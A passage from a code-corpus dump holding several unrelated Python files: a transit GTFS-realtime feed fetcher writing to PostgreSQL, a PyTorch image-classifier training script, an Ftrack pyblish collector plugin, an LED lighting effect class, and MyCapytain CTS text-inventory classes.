'start_date' : tuc.trip.start_date,\n 'route_id' : tuc.trip.route_id,\n 'stop_id' : tuc.stop_time_update[i].stop_id,\n 'stop_sequence' : tuc.stop_time_update[i].stop_sequence,\n 'arrival_time' : tuc.stop_time_update[i].arrival.time,\n 'arrival_delay' : tuc.stop_time_update[i].arrival.delay,\n 'departure_time' : tuc.stop_time_update[i].departure.time,\n 'departure_delay' : tuc.stop_time_update[i].departure.delay,\n 'schedule_relationship' : tuc.stop_time_update[i].schedule_relationship\n }\n for i in range(len(tuc.stop_time_update))\n ]\n sql = '''\n INSERT INTO gtfs_tuc (tstamp, entity_id , trip_id, start_date, route_id, stop_id , stop_sequence, arrival_time, arrival_delay, departure_time, departure_delay, schedule_relationship)\n SELECT unnest( %(tstamp)s)::bigint,\n unnest( %(entity_id)s)::int,\n unnest( %(trip_id)s),\n unnest( %(start_date)s)::int,\n unnest( %(route_id)s),\n unnest( %(stop_id)s),\n unnest( %(stop_sequence)s),\n unnest( %(arrival_time)s)::bigint,\n unnest( %(arrival_delay)s)::int,\n unnest( %(departure_time)s)::bigint,\n unnest( %(departure_delay)s)::int,\n unnest( %(schedule_relationship)s) '''\n tstamp=[r['tstamp'] for r in self.tuc]\n entity_id=[r['entity_id'] for r in self.tuc]\n trip_id=[r['trip_id'] for r in self.tuc]\n start_date=[r['start_date'] for r in self.tuc]\n route_id=[r['route_id'] for r in self.tuc]\n stop_id=[r['stop_id'] for r in self.tuc]\n stop_sequence=[r['stop_sequence'] for r in self.tuc]\n arrival_time=[r['arrival_time'] for r in self.tuc]\n arrival_delay=[r['arrival_delay'] for r in self.tuc]\n departure_time=[r['departure_time'] for r in self.tuc]\n departure_delay=[r['departure_delay'] for r in self.tuc]\n schedule_relationship = [r['schedule_relationship'] for r in self.tuc]\n try:\n cur1.execute(sql, locals())\n except psycopg2.IntegrityError:\n self.conn.rollback()\n except psycopg2.Error as e:\n print(e.diag.message_detail)\n else:\n self.conn.commit()\n self.counts[\"tuc\"] += len(tuc.stop_time_update)\n if entity.HasField('vehicle'):\n veh = entity.vehicle\n try:\n cur1.execute(\"INSERT INTO gtfs_vehicles VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\", (feed.header.timestamp, entity.id, veh.trip.trip_id, veh.trip.start_date, veh.trip.route_id, veh.vehicle.id, veh.position.latitude, veh.position.longitude, veh.current_stop_sequence, veh.stop_id, veh.current_status, veh.timestamp, veh.congestion_level, veh.occupancy_status))\n except psycopg2.IntegrityError:\n self.conn.rollback()\n else:\n self.conn.commit()\n if entity.HasField('alert'):\n alert = entity.alert\n self.alerts = [\n {\n 'tstamp': feed.header.timestamp,\n 'entity_id': entity.id,\n 'trip_id' : alert.informed_entity[i].trip.trip_id,\n 'route_id' : alert.informed_entity[i].trip.route_id,\n 'cause' : alert.cause,\n 'effect' : alert.effect,\n 'txt' : alert.header_text.translation[0].text\n }\n for i in range(len(alert.informed_entity))\n ]\n sql = '''\n INSERT INTO gtfs_alerts (tstamp, entity_id , trip_id, route_id, cause, effect, txt)\n SELECT unnest( %(tstamp)s)::bigint,\n unnest( %(entity_id)s)::int,\n unnest( %(trip_id)s),\n unnest( %(route_id)s),\n unnest( %(cause)s),\n unnest( %(effect)s),\n unnest( %(txt)s) '''\n tstamp = [r['tstamp'] for r in self.alerts]\n entity_id = [r['entity_id'] for r in self.alerts]\n trip_id = [r['trip_id'] for r in self.alerts]\n route_id = [r['route_id'] for r in self.alerts]\n cause = [r['cause'] for r in self.alerts]\n effect = [r['effect'] for r in self.alerts]\n txt = [r['txt'] for r in self.alerts]\n try:\n cur1.execute(sql, locals())\n except psycopg2.IntegrityError:\n self.conn.rollback()\n except psycopg2.Error as e:\n self.conn.rollback()\n print(e.diag.message_detail)\n else:\n self.conn.commit()\n self.counts[\"alerts\"] += len(alert.informed_entity)\n cur1.close()\n self.conn.commit()\n print('stop time records insertion progress: ', self.counts[\"tuc\"])\n print('Alert records insertion progress: ', self.counts[\"alerts\"]) \n # self.conn.close()\n\n\n# parse commandline arguments\nop = OptionParser()\nargv = sys.argv[1:]\n(opts, args) = op.parse_args(argv)\nif len(args)>0:\n to_ct = argv[0]\n if is_number(to_ct):\n to_ct = int((complex(to_ct)).real)\nelse:\n to_ct = 5\nx = gtfs_mtafetch()\nx.initialize()\nfor i in range(to_ct):\n start = time.time()\n with timer('fast'):\n x.process()\n duration = time.time() - start\n time.sleep(30 - duration)\n\n\n","sub_path":"fetch_mta_data.py","file_name":"fetch_mta_data.py","file_ext":"py","file_size_in_byte":11889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"137372935","text":"import argparse\nimport numpy as np\nimport torch\nfrom torch import optim\nfrom torchvision import datasets, transforms, models\nfrom model import *\nfrom preprocessing import *\nfrom modelcheckpoint import *\n\n\nif __name__ == '__main__':\n pretrained_models = {'squeezenet': models.squeezenet1_0,\n 'vgg16': models.vgg16,\n 'densenet': models.densenet121}\n \n #PARSE ARGUMENTS\n parser = argparse.ArgumentParser(description='Train a deep neural network for image classification.')\n parser.add_argument('data_directory', help='directory containing images under train, valid and test directories.')\n parser.add_argument('--save_dir', dest='save_directory', help='directory for saving checkpoints.')\n parser.add_argument('--arch', choices=pretrained_models.keys(), help='architecture of pretrained network used to generate features.', default='vgg16')\n parser.add_argument('--learning_rate', default=0.01, type=float)\n parser.add_argument('--epochs', default=10, type=int)\n parser.add_argument('--hidden_units', nargs='*',default=[512], type=int, help='sequence of integers for number of units in hidden layers')\n parser.add_argument('--gpu', action='store_const', const='cuda', default='cpu')\n args = parser.parse_args()\n print(args)\n \n data_dir = args.data_directory\n train_dir = data_dir + '/train'\n valid_dir = data_dir + '/valid'\n test_dir = data_dir + '/test'\n \n data_sections = ['training','validation','testing']\n \n # Defining transforms for the training, validation, and testing sets\n data_transforms = {'training': transforms.Compose([transforms.RandomRotation(30),\n transforms.RandomResizedCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], \n [0.229, 0.224, 0.225])]),\n 'validation': transforms.Compose([transforms.Resize(255),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], \n [0.229, 0.224, 0.225])]),\n 'testing': transforms.Compose([transforms.Resize(255),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], \n [0.229, 0.224, 0.225])])\n }\n\n\n # Loading the datasets with ImageFolder\n image_datasets = {}\n image_datasets['training'] = datasets.ImageFolder(train_dir, transform=data_transforms['training'])\n image_datasets['validation'] = datasets.ImageFolder(valid_dir, transform=data_transforms['validation'])\n image_datasets['testing'] = datasets.ImageFolder(test_dir, transform=data_transforms['testing'])\n\n # Using the image datasets and the trainforms, to define the dataloaders\n dataloaders = {}\n for section in data_sections:\n dataloaders[section] = torch.utils.data.DataLoader(image_datasets[section], batch_size=32, shuffle=True)\n\n #building model\n feature_model = pretrained_models[args.arch](pretrained=True)\n feature_model.features.name = args.arch\n \n if args.arch == 'vgg16':\n input_size = feature_model.classifier[0].in_features\n elif args.arch == 'densenet':\n input_size = feature_model.classifier.in_features\n elif args.arch == 'squeezenet':\n input_size = feature_model.classifier[1].in_channels\n #elif args.arch == 'resnet' or args.arch == 'inception' :\n #input_size = model.fc.in_features\n \n output_size = len(image_datasets['training'].class_to_idx)\n output_model = FCNetwork([input_size] + args.hidden_units + [output_size])\n output_model.class_to_idx = image_datasets['training'].class_to_idx\n output_model.idx_to_class = {v:k for k,v in image_datasets['training'].class_to_idx.items()}\n #defining optimizer\n optimizer = optim.Adam(output_model.parameters(),lr=args.learning_rate)\n \n #training model\n model, scores = train_model((feature_model.features, output_model), dataloaders['training'], optimizer, nn.CrossEntropyLoss(), epochs=args.epochs, device=args.gpu, validationloader=dataloaders['validation'], print_every=1, eval_batches=1)\n \n filename='checkpoint'\n if args.save_directory is not None:\n filepath=args.save_directory+'/'+filename\n else:\n filepath = filename\n \n try:\n save_checkpoint(model, optimizer, args.epochs, filename=filepath)\n except:\n print('Unable to save in '+args.save_directory)\n save_checkpoint(model, optimizer, args.epochs, filename=filename)\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"433137960","text":"import os\nimport pyblish.api\nimport logging\n\ntry:\n import ftrack_api_old as ftrack_api\nexcept Exception:\n import ftrack_api\n\n\nclass CollectFtrackApi(pyblish.api.ContextPlugin):\n \"\"\" Collects an ftrack session and the current task id. \"\"\"\n\n order = pyblish.api.CollectorOrder\n label = \"Collect Ftrack Api\"\n\n def process(self, context):\n\n ftrack_log = logging.getLogger('ftrack_api')\n ftrack_log.setLevel(logging.WARNING)\n ftrack_log = logging.getLogger('ftrack_api_old')\n ftrack_log.setLevel(logging.WARNING)\n\n # Collect session\n session = ftrack_api.Session(auto_connect_event_hub=True)\n self.log.debug(\"Ftrack user: \\\"{0}\\\"\".format(session.api_user))\n context.data[\"ftrackSession\"] = session\n\n # Collect task\n\n project_name = os.environ.get('AVALON_PROJECT', '')\n asset_name = os.environ.get('AVALON_ASSET', '')\n task_name = os.environ.get('AVALON_TASK', None)\n\n # Find project entity\n project_query = 'Project where full_name is \"{0}\"'.format(project_name)\n self.log.debug(\"Project query: < {0} >\".format(project_query))\n project_entity = list(session.query(project_query).all())\n if len(project_entity) == 0:\n raise AssertionError(\n \"Project \\\"{0}\\\" not found in Ftrack.\".format(project_name)\n )\n # QUESTION Is possible to happen?\n elif len(project_entity) > 1:\n raise AssertionError((\n \"Found more than one project with name \\\"{0}\\\" in Ftrack.\"\n ).format(project_name))\n\n project_entity = project_entity[0]\n self.log.debug(\"Project found: {0}\".format(project_entity))\n\n # Find asset entity\n entity_query = (\n 'TypedContext where project_id is \"{0}\"'\n ' and name is \"{1}\"'\n ).format(project_entity[\"id\"], asset_name)\n self.log.debug(\"Asset entity query: < {0} >\".format(entity_query))\n asset_entities = []\n for entity in session.query(entity_query).all():\n # Skip tasks\n if entity.entity_type.lower() != \"task\":\n asset_entities.append(entity)\n\n if len(asset_entities) == 0:\n raise AssertionError((\n \"Entity with name \\\"{0}\\\" not found\"\n \" in Ftrack project \\\"{1}\\\".\"\n ).format(asset_name, project_name))\n\n elif len(asset_entities) > 1:\n raise AssertionError((\n \"Found more than one entity with name \\\"{0}\\\"\"\n \" in Ftrack project \\\"{1}\\\".\"\n ).format(asset_name, project_name))\n\n asset_entity = asset_entities[0]\n self.log.debug(\"Asset found: {0}\".format(asset_entity))\n\n # Find task entity if task is set\n if task_name:\n task_query = (\n 'Task where name is \"{0}\" and parent_id is \"{1}\"'\n ).format(task_name, asset_entity[\"id\"])\n self.log.debug(\"Task entity query: < {0} >\".format(task_query))\n task_entity = session.query(task_query).first()\n if not task_entity:\n self.log.warning(\n \"Task entity with name \\\"{0}\\\" was not found.\".format(\n task_name\n )\n )\n else:\n self.log.debug(\"Task entity found: {0}\".format(task_entity))\n\n else:\n task_entity = None\n self.log.warning(\"Task name is not set.\")\n\n context.data[\"ftrackProject\"] = project_entity\n context.data[\"ftrackEntity\"] = asset_entity\n context.data[\"ftrackTask\"] = task_entity\n","sub_path":"pype/plugins/ftrack/publish/collect_ftrack_api.py","file_name":"collect_ftrack_api.py","file_ext":"py","file_size_in_byte":3656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"410149221","text":"from LightProvider import LightProvider\nimport random\n\n\nclass StarLightWrapper(LightProvider):\n provider = None\n branch_low = 0\n branch_high = 10\n minBright = 0\n branch_out_last = 0\n branch_its = 5\n branch_acc = 0\n atBeginning = False\n brightness_last = 1.0\n\n def __init__(self, provider, branch_low, branch_high, *, branch_its=5, minBright=0, atBeginning=False):\n super(StarLightWrapper, self).__init__()\n self.provider = provider\n self.branch_low = branch_low\n self.branch_high = branch_high\n self.minBright = minBright\n self.branch_its = branch_its\n self.branch_out_last = random.randint(branch_low, branch_high)\n self.atBeginning = atBeginning\n\n def gradient(self, percent, colorA, colorB):\n color = [0, 0, 0]\n for i in range(3):\n color[i] = int(colorA[i] + percent * (colorB[i] - colorA[i]))\n return color\n\n def cloud(self, index, color, branch_out):\n if index <= branch_out:\n return self.gradient(self.brightness_last, [0, 0, 0], self.gradient(((branch_out-index)*.75)/(branch_out), [0, 0, 0], [255, 255, 0]))\n else:\n return color\n\n def randCloudDirection(self, branch_out):\n if (branch_out == self.branch_high):\n return branch_out - 1\n elif (branch_out == self.branch_low):\n return branch_out + 1\n else:\n return branch_out + random.randint(-1, 1)\n\n def randTwinkleDirection(self, brightness):\n bright_low = .75\n bright_high = 1.0\n\n if (brightness >= bright_high):\n return brightness - .05\n elif (brightness <= bright_low):\n return brightness + .05\n else:\n return brightness + ((random.random()*.1)-.05)\n\n # Set next frame of pixels\n def providePixels(self, pixels):\n fakePixels = [None] * len(pixels)\n self.provider.providePixels(fakePixels)\n\n self.brightness_last = self.randTwinkleDirection(self.brightness_last)\n\n if (self.branch_acc % self.branch_its == 0):\n self.branch_out_last = self.randCloudDirection(\n self.branch_out_last)\n self.branch_acc = 0\n\n self.branch_acc += 1\n\n for ind, color in enumerate(fakePixels):\n pixels[ind] = self.cloud(ind if not(self.atBeginning) else len(\n pixels)-1-ind, color, self.branch_out_last)\n","sub_path":"general/StarLightWrapper.py","file_name":"StarLightWrapper.py","file_ext":"py","file_size_in_byte":2437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"46104629","text":"# -*- coding: utf-8 -*-\n\"\"\"\n.. module:: MyCapytain.resources.prototypes.cts.inventory\n :synopsis: Prototypes for repository/inventory Collection CTS objects\n\n.. moduleauthor:: Thibault Clérice \n\n\"\"\"\nfrom __future__ import unicode_literals\nfrom six import text_type\n\nfrom MyCapytain.resources.prototypes.metadata import Collection, ResourceCollection\nfrom MyCapytain.common.reference import URN\nfrom MyCapytain.common.utils import make_xml_node, xmlparser\nfrom MyCapytain.common.constants import NAMESPACES, Mimetypes\nfrom MyCapytain.errors import InvalidURN\nfrom collections import defaultdict\nfrom copy import deepcopy\n\nfrom rdflib import RDF, Literal, URIRef\nfrom rdflib.namespace import DC\n\n\nclass PrototypeCTSCollection(Collection):\n \"\"\" Resource represents any resource from the inventory\n\n :param identifier: Identifier representing the PrototypeTextInventory\n :type identifier: str,URN\n :cvar CTSMODEL: String Representation of the type of collection\n \"\"\"\n CTSMODEL = \"CTSCollection\"\n DC_TITLE_KEY = None\n CTS_PROPERTIES = []\n\n EXPORT_TO = [Mimetypes.PYTHON.ETREE]\n DEFAULT_EXPORT = Mimetypes.PYTHON.ETREE\n\n def __init__(self, identifier=\"\"):\n super(PrototypeCTSCollection, self).__init__(identifier)\n\n if hasattr(type(self), \"CTSMODEL\"):\n self.graph.set((self.asNode(), RDF.type, NAMESPACES.CTS.term(self.CTSMODEL)))\n self.graph.set((self.asNode(), NAMESPACES.CTS.isA, NAMESPACES.CTS.term(self.CTSMODEL)))\n\n self.__urn__ = \"\"\n\n @property\n def urn(self):\n return self.__urn__\n\n def __eq__(self, other):\n if self is other:\n return True\n elif not isinstance(other, self.__class__):\n return False\n return hasattr(self, \"urn\") and hasattr(other, \"urn\") and self.urn == other.urn\n\n def get_cts_property(self, prop, lang=None):\n \"\"\" Set given property in CTS Namespace\n\n .. example::\n collection.get_cts_property(\"groupname\", \"eng\")\n\n :param prop: Property to get (Without namespace)\n :param lang: Language to get for given value\n :return: Value or default if lang is set, else whole set of values\n :rtype: dict or Literal\n \"\"\"\n x = {\n value.language: value for _, _, value in self.graph.triples((self.metadata.asNode(), NAMESPACES.CTS.term(prop), None))\n }\n if lang is not None:\n if lang in x:\n return x[lang]\n return next(x.values())\n return x\n\n def set_cts_property(self, prop, value, lang=None):\n \"\"\" Set given property in CTS Namespace\n\n .. example::\n collection.set_cts_property(\"groupname\", \"MyCapytain\", \"eng\")\n\n :param prop: Property to set (Without namespace)\n :param value: Value to set for given property\n :param lang: Language to set for given value\n \"\"\"\n if not isinstance(value, Literal):\n value = Literal(value, lang=lang)\n prop = NAMESPACES.CTS.term(prop)\n\n if prop == self.DC_TITLE_KEY:\n self.set_label(value, lang)\n\n self.graph.add(\n (self.metadata.asNode(), prop, value)\n )\n\n def __xml_export_generic__(self, attrs, namespaces=False, lines=\"\\n\", members=None):\n \"\"\" Shared method for Mimetypes.XML.CTS Export\n\n :param attrs: Dictionary of attributes for the node\n :param namespaces: Add namespaces to the node\n :param lines: New Line Character (Can be empty)\n :return: String representation of XML Nodes\n \"\"\"\n if namespaces is True:\n attrs.update(self.__namespaces_header__())\n\n TYPE_URI = self.TYPE_URI\n if TYPE_URI == NAMESPACES.CTS.term(\"TextInventoryCollection\"):\n TYPE_URI = NAMESPACES.CTS.term(\"TextInventory\")\n\n strings = [make_xml_node(self.graph, TYPE_URI, close=False, attributes=attrs)]\n for pred in self.CTS_PROPERTIES:\n for obj in self.graph.objects(self.metadata.asNode(), pred):\n strings.append(\n make_xml_node(\n self.graph, pred, attributes={\"xml:lang\": obj.language}, text=str(obj), complete=True\n )\n )\n\n if members is None:\n members = self.members\n for obj in members:\n strings.append(obj.export(Mimetypes.XML.CTS, namespaces=False))\n\n strings.append(make_xml_node(self.graph, TYPE_URI, close=True))\n\n return lines.join(strings)\n\n def __export__(self, output=None, domain=\"\"):\n if output == Mimetypes.PYTHON.ETREE:\n return xmlparser(self.export(output=Mimetypes.XML.CTS))\n\n\nclass PrototypeText(ResourceCollection, PrototypeCTSCollection):\n \"\"\" Represents a CTS PrototypeText\n\n :param urn: Identifier of the PrototypeText\n :type urn: str\n :param parent: Item parents of the current collection\n :type parent: [PrototypeCTSCollection]\n\n :ivar urn: URN Identifier\n :type urn: URN\n \"\"\"\n\n DC_TITLE_KEY = NAMESPACES.CTS.term(\"label\")\n TYPE_URI = NAMESPACES.CTS.term(\"text\")\n MODEL_URI = URIRef(NAMESPACES.DTS.resource)\n EXPORT_TO = [Mimetypes.XML.CTS]\n CTS_PROPERTIES = [NAMESPACES.CTS.label, NAMESPACES.CTS.description]\n SUBTYPE = \"unknown\"\n\n def __init__(self, urn=\"\", parent=None, lang=None):\n self.__subtype__ = self.SUBTYPE\n super(PrototypeText, self).__init__(identifier=str(urn))\n self.resource = None\n self.citation = None\n self.__urn__ = URN(urn)\n self.docname = None\n self.validate = None\n if lang is not None:\n self.lang = lang\n\n if parent is not None:\n self.parent = parent\n if lang is None:\n self.lang = self.parent.lang\n\n @property\n def subtype(self):\n \"\"\" Subtype of the object\n\n :return: string representation of subtype\n \"\"\"\n return self.__subtype__\n\n @property\n def readable(self):\n return True\n\n @property\n def members(self):\n \"\"\" Children of the collection's item\n\n .. warning:: Text has no children\n\n :rtype: list\n \"\"\"\n return []\n\n @property\n def descendants(self):\n \"\"\" Descendants of the collection's item\n\n .. warning:: Text has no Descendants\n\n :rtype: list\n \"\"\"\n return []\n\n def translations(self, key=None):\n \"\"\" Get translations in given language\n\n :param key: Language ISO Code to filter on\n :return:\n \"\"\"\n return self.parent.get_translation_in(key)\n\n def editions(self):\n \"\"\" Get all editions of the texts\n\n :return: List of editions\n :rtype: [PrototypeText]\n \"\"\"\n return [\n item\n for urn, item in self.parent.children.items()\n if isinstance(item, PrototypeEdition)\n ]\n\n def __export__(self, output=None, domain=\"\", namespaces=True, lines=\"\\n\"):\n \"\"\" Create a {output} version of the Text\n\n :param output: Format to be chosen\n :type output: basestring\n :param domain: Domain to prefix IDs when necessary\n :type domain: str\n :returns: Desired output formated resource\n \"\"\"\n if output == Mimetypes.XML.CTS:\n attrs = {\"urn\": self.id, \"xml:lang\": self.lang}\n if self.parent is not None and self.parent.id:\n attrs[\"workUrn\"] = self.parent.id\n if namespaces is True:\n attrs.update(self.__namespaces_header__())\n\n strings = [make_xml_node(self.graph, self.TYPE_URI, close=False, attributes=attrs)]\n\n # additional = [make_xml_node(self.graph, NAMESPACES.CTS.extra)]\n for pred in self.CTS_PROPERTIES:\n for obj in self.graph.objects(self.metadata.asNode(), pred):\n strings.append(\n make_xml_node(\n self.graph, pred, attributes={\"xml:lang\": obj.language}, text=str(obj), complete=True\n )\n )\n\n # Citation !\n if self.citation is not None:\n strings.append(\n # Online\n make_xml_node(\n self.graph, NAMESPACES.CTS.term(\"online\"), complete=True,\n # Citation Mapping\n innerXML=make_xml_node(\n self.graph, NAMESPACES.CTS.term(\"citationMapping\"), complete=True,\n innerXML=self.citation.export(Mimetypes.XML.CTS)\n )\n )\n )\n strings.append(make_xml_node(self.graph, self.TYPE_URI, close=True))\n\n return lines.join(strings)\n\n def get_creator(self, lang=None):\n \"\"\" Get the DC Creator literal value\n\n :param lang: Language to retrieve\n :return: Creator string representation\n :rtype: Literal\n \"\"\"\n return self.parent.parent.metadata.get_label(lang=lang)\n\n def get_title(self, lang=None):\n \"\"\" Get the DC Title of the object\n\n :param lang: Lang to retrieve\n :return: Title string representation\n :rtype: Literal\n \"\"\"\n return self.parent.metadata.get_label(lang=lang)\n\n def get_description(self, lang=None):\n \"\"\" Get the DC description of the object\n\n :param lang: Lang to retrieve\n :return: Description string representation\n :rtype: Literal\n \"\"\"\n return self.metadata.get(key=NAMESPACES.CTS.description, lang=lang)\n\n def get_subject(self, lang=None):\n \"\"\" Get the DC subject of the object\n\n :param lang: Lang to retrieve\n :return: Subject string representation\n :rtype: Literal\n \"\"\"\n return self.get_label(lang=lang)\n\n\nclass PrototypeEdition(PrototypeText):\n \"\"\" Represents a CTS Edition\n\n :param urn: Identifier of the PrototypeText\n :type urn: str\n :param parent: Parent of current item\n :type parent: PrototypeWork\n \"\"\"\n TYPE_URI = NAMESPACES.CTS.term(\"edition\")\n MODEL_URI = URIRef(NAMESPACES.DTS.resource)\n SUBTYPE = \"edition\"\n\n\nclass PrototypeTranslation(PrototypeText):\n \"\"\" Represents a CTS Translation\n\n :param urn: Identifier of the PrototypeText\n :type urn: str\n :param parent: Parent of current item\n :type parent: PrototypeWork\n :param lang: Language of the translation\n :type lang: Lang\n \"\"\"\n TYPE_URI = NAMESPACES.CTS.term(\"translation\")\n MODEL_URI = URIRef(NAMESPACES.DTS.resource)\n SUBTYPE = \"translation\"\n\n\nclass PrototypeWork(PrototypeCTSCollection):\n \"\"\" Represents a CTS PrototypeWork\n\n CTS PrototypeWork can be added to each other which would most likely happen if you take your data from multiple API or \\\n Textual repository. This works close to dictionary update in Python. See update\n\n :param urn: Identifier of the PrototypeWork\n :type urn: str\n :param parent: Parent of current object\n :type parent: PrototypeTextGroup\n\n :ivar urn: URN Identifier\n :type urn: URN\n \"\"\"\n\n DC_TITLE_KEY = NAMESPACES.CTS.term(\"title\")\n TYPE_URI = NAMESPACES.CTS.term(\"work\")\n MODEL_URI = URIRef(NAMESPACES.DTS.collection)\n EXPORT_TO = [Mimetypes.XML.CTS]\n CTS_PROPERTIES = [NAMESPACES.CTS.term(\"title\")]\n\n def __init__(self, urn=None, parent=None):\n super(PrototypeWork, self).__init__(identifier=str(urn))\n self.__urn__ = URN(urn)\n self.__children__ = defaultdict(PrototypeText)\n\n if parent is not None:\n self.parent = parent\n\n @property\n def texts(self):\n \"\"\" Texts\n\n :return: Dictionary of texts\n :rtype: defaultdict(:class:`PrototypeTexts`)\n \"\"\"\n return self.__children__\n\n @property\n def lang(self):\n \"\"\" Languages this text is in\n\n :return: List of available languages\n \"\"\"\n return str(self.graph.value(self.asNode(), DC.language))\n\n @lang.setter\n def lang(self, lang):\n \"\"\" Language this text is available in\n\n :param lang: Language to add\n :type lang: str\n \"\"\"\n self.graph.set((self.asNode(), DC.language, Literal(lang)))\n\n def update(self, other):\n \"\"\" Merge two Work Objects.\n\n - Original (left Object) keeps his parent.\n - Added document overwrite text if it already exists\n\n :param other: Work object\n :type other: PrototypeWork\n :return: Work Object\n :rtype Work:\n \"\"\"\n if not isinstance(other, PrototypeWork):\n raise TypeError(\"Cannot add %s to PrototypeWork\" % type(other))\n elif self.urn != other.urn:\n raise InvalidURN(\"Cannot add PrototypeWork %s to PrototypeWork %s \" % (self.urn, other.urn))\n\n for urn, text in other.texts.items():\n self.texts[urn] = text\n self.texts[urn].parent = self\n self.texts[urn].resource = None\n\n return self\n\n def get_translation_in(self, key=None):\n \"\"\" Find a translation with given language\n\n :param key: Language to find\n :type key: text_type\n :rtype: [PrototypeText]\n :returns: List of availables translations\n \"\"\"\n if key is not None:\n return [\n item\n for item in self.texts.values()\n if isinstance(item, PrototypeTranslation) and item.lang == key\n ]\n else:\n return [\n item\n for item in self.texts.values()\n if isinstance(item, PrototypeTranslation)\n ]\n\n def __len__(self):\n \"\"\" Get the number of text in the PrototypeWork\n\n :return: Number of texts available in the inventory\n \"\"\"\n return len(self.texts)\n\n def __export__(self, output=None, domain=\"\", namespaces=True):\n \"\"\" Create a {output} version of the Work\n\n :param output: Format to be chosen\n :type output: basestring\n :param domain: Domain to prefix IDs when necessary\n :type domain: str\n :returns: Desired output formated resource\n \"\"\"\n if output == Mimetypes.XML.CTS:\n attrs = {\"urn\": self.id, \"xml:lang\": self.lang}\n if self.parent is not None and self.parent.id:\n attrs[\"groupUrn\"] = self.parent.id\n return self.__xml_export_generic__(attrs, namespaces=namespaces)\n\n\nclass PrototypeTextGroup(PrototypeCTSCollection):\n \"\"\" Represents a CTS Textgroup\n\n CTS PrototypeTextGroup can be added to each other which would most likely happen if you take your data from multiple API or \\\n Textual repository. This works close to dictionary update in Python. See update\n\n :param urn: Identifier of the PrototypeTextGroup\n :type urn: str\n :param parent: Parent of the current object\n :type parent: PrototypeTextInventory\n\n :ivar urn: URN Identifier\n :type urn: URN\n \"\"\"\n DC_TITLE_KEY = NAMESPACES.CTS.term(\"groupname\")\n TYPE_URI = NAMESPACES.CTS.term(\"textgroup\")\n MODEL_URI = URIRef(NAMESPACES.DTS.collection)\n EXPORT_TO = [Mimetypes.XML.CTS]\n CTS_PROPERTIES = [NAMESPACES.CTS.groupname]\n\n def __init__(self, urn=\"\", parent=None):\n super(PrototypeTextGroup, self).__init__(identifier=str(urn))\n self.__urn__ = URN(urn)\n self.__children__ = defaultdict(PrototypeWork)\n\n if parent is not None:\n self.parent = parent\n\n @property\n def works(self):\n \"\"\" Works\n\n :return: Dictionary of works\n :rtype: defaultdict(:class:`PrototypeWorks`)\n \"\"\"\n return self.__children__\n\n def update(self, other):\n \"\"\" Merge two Textgroup Objects.\n\n - Original (left Object) keeps his parent.\n - Added document merges with work if it already exists\n\n :param other: Textgroup object\n :type other: PrototypeTextGroup\n :return: Textgroup Object\n :rtype: PrototypeTextGroup\n \"\"\"\n if not isinstance(other, PrototypeTextGroup):\n raise TypeError(\"Cannot add %s to PrototypeTextGroup\" % type(other))\n elif str(self.urn) != str(other.urn):\n raise InvalidURN(\"Cannot add PrototypeTextGroup %s to PrototypeTextGroup %s \" % (self.urn, other.urn))\n\n for urn, work in other.works.items():\n if urn in self.works:\n self.works[urn].update(deepcopy(work))\n else:\n self.works[urn] = deepcopy(work)\n self.works[urn].parent = self\n self.works[urn].resource = None\n\n return self\n\n def __len__(self):\n \"\"\" Get the number of text in the Textgroup\n\n :return: Number of texts available in the inventory\n \"\"\"\n return len([\n text\n for work in self.works.values()\n for text in work.texts.values()\n ])\n\n def __export__(self, output=None, domain=\"\", namespaces=True):\n \"\"\" Create a {output} version of the TextGroup\n\n :param output: Format to be chosen\n :type output: basestring\n :param domain: Domain to prefix IDs when necessary\n :type domain: str\n :returns: Desired output formated resource\n \"\"\"\n if output == Mimetypes.XML.CTS:\n attrs = {\"urn\": self.id}\n return self.__xml_export_generic__(attrs, namespaces=namespaces)\n\n\nclass PrototypeTextInventory(PrototypeCTSCollection):\n \"\"\" Initiate a PrototypeTextInventory resource\n\n :param resource: Resource representing the PrototypeTextInventory\n :type resource: Any\n :param name: Identifier of the PrototypeTextInventory\n :type name: str\n \"\"\"\n DC_TITLE_KEY = NAMESPACES.CTS.term(\"name\")\n TYPE_URI = NAMESPACES.CTS.term(\"TextInventory\")\n MODEL_URI = URIRef(NAMESPACES.DTS.collection)\n EXPORT_TO = [Mimetypes.XML.CTS]\n\n def __init__(self, name=\"defaultInventory\", parent=None):\n super(PrototypeTextInventory, self).__init__(identifier=name)\n self.__children__ = defaultdict(PrototypeTextGroup)\n\n if parent is not None:\n self.parent = parent\n\n @property\n def textgroups(self):\n \"\"\" Textgroups\n\n :return: Dictionary of textgroups\n :rtype: defaultdict(:class:`PrototypeTextGroup`)\n \"\"\"\n return self.__children__\n\n def __len__(self):\n \"\"\" Get the number of text in the Inventory\n\n :return: Number of texts available in the inventory\n \"\"\"\n return len([\n text\n for tg in self.textgroups.values()\n for work in tg.works.values()\n for text in work.texts.values()\n ])\n\n def __export__(self, output=None, domain=\"\", namespaces=True):\n \"\"\" Create a {output} version of the PrototypeTextInventory\n\n :param output: Format to be chosen\n :type output: basestring\n :param domain: Domain to prefix IDs when necessary\n :type domain: str\n :param namespaces: List namespaces in main node\n :returns: Desired output formated resource\n \"\"\"\n if output == Mimetypes.XML.CTS:\n attrs = {}\n if self.id:\n attrs[\"tiid\"] = self.id\n\n return self.__xml_export_generic__(attrs, namespaces=namespaces)\n\n\nclass TextInventoryCollection(PrototypeCTSCollection):\n \"\"\" Initiate a PrototypeTextInventory resource\n\n :param resource: Resource representing the PrototypeTextInventory\n :type resource: Any\n :param name: Identifier of the PrototypeTextInventory\n :type name: str\n \"\"\"\n DC_TITLE_KEY = NAMESPACES.CTS.term(\"name\")\n TYPE_URI = NAMESPACES.CTS.term(\"TextInventoryCollection\")\n MODEL_URI = 